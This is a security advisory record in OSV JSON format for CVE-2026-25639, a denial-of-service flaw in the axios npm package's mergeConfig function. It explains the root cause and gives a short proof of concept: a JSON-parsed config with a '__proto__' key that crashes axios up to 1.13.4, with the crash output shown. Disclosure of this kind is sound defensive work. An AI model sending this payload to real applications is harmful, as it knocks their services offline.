Denial of Service via proto Key in mergeConfig

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.13.4"
      },
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.13.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-25639"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-754"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-09T17:46:14Z",
    "nvd_published_at": "2026-02-09T21:15:49Z",
    "severity": "HIGH"
  },
  "details": "# Denial of Service via **proto** Key in mergeConfig\n\n### Summary\n\nThe `mergeConfig` function in axios crashes with a TypeError when processing configuration objects containing `__proto__` as an own property. An attacker can trigger this by providing a malicious configuration object created via `JSON.parse()`, causing complete denial of service.\n\n### Details\n\nThe vulnerability exists in `lib/core/mergeConfig.js` at lines 98-101:\n\n```javascript\nutils.forEach(Object.keys({ ...config1, ...config2 }), function computeConfigValue(prop) {\n  const merge = mergeMap[prop] || mergeDeepProperties;\n  const configValue = merge(config1[prop], config2[prop], prop);\n  (utils.isUndefined(configValue) \u0026\u0026 merge !== mergeDirectKeys) || (config[prop] = configValue);\n});\n```\n\nWhen `prop` is `\u0027__proto__\u0027`:\n\n1. `JSON.parse(\u0027{\"__proto__\": {...}}\u0027)` creates an object with `__proto__` as an own enumerable property\n2. `Object.keys()` includes `\u0027__proto__\u0027` in the iteration\n3. `mergeMap[\u0027__proto__\u0027]` performs prototype chain lookup, returning `Object.prototype` (truthy object)\n4. The expression `mergeMap[prop] || mergeDeepProperties` evaluates to `Object.prototype`\n5. `Object.prototype(...)` throws `TypeError: merge is not a function`\n\nThe `mergeConfig` function is called by:\n\n- `Axios._request()` at `lib/core/Axios.js:75`\n- `Axios.getUri()` at `lib/core/Axios.js:201`\n- All HTTP method shortcuts (`get`, `post`, etc.) at `lib/core/Axios.js:211,224`\n\n### PoC\n\n```javascript\nimport axios from \"axios\";\n\nconst maliciousConfig = JSON.parse(\u0027{\"__proto__\": {\"x\": 1}}\u0027);\nawait axios.get(\"https://httpbin.org/get\", maliciousConfig);\n```\n\n**Reproduction steps:**\n\n1. Clone axios repository or `npm install axios`\n2. Create file `poc.mjs` with the code above\n3. Run: `node poc.mjs`\n4. Observe the TypeError crash\n\n**Verified output (axios 1.13.4):**\n\n```\nTypeError: merge is not a function\n    at computeConfigValue (lib/core/mergeConfig.js:100:25)\n    at Object.forEach (lib/utils.js:280:10)\n    at mergeConfig (lib/core/mergeConfig.js:98:9)\n```\n\n**Control tests performed:**\n| Test | Config | Result |\n|------|--------|--------|\n| Normal config | `{\"timeout\": 5000}` | SUCCESS |\n| Malicious config | `JSON.parse(\u0027{\"__proto__\": {\"x\": 1}}\u0027)` | **CRASH** |\n| Nested object | `{\"headers\": {\"X-Test\": \"value\"}}` | SUCCESS |\n\n**Attack scenario:**\nAn application that accepts user input, parses it with `JSON.parse()`, and passes it to axios configuration will crash when receiving the payload `{\"__proto__\": {\"x\": 1}}`.\n\n### Impact\n\n**Denial of Service** - Any application using axios that processes user-controlled JSON and passes it to axios configuration methods is vulnerable. The application will crash when processing the malicious payload.\n\nAffected environments:\n\n- Node.js servers using axios for HTTP requests\n- Any backend that passes parsed JSON to axios configuration\n\nThis is NOT prototype pollution - the application crashes before any assignment occurs.",
  "id": "GHSA-43fc-jf86-j433",
  "modified": "2026-02-09T22:39:32Z",
  "published": "2026-02-09T17:46:14Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/security/advisories/GHSA-43fc-jf86-j433"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25639"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/pull/7369"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/commit/28c721588c7a77e7503d0a434e016f852c597b57"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/axios/axios"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/releases/tag/v1.13.5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Axios is Vulnerable to Denial of Service via __proto__ Key in mergeConfig"
}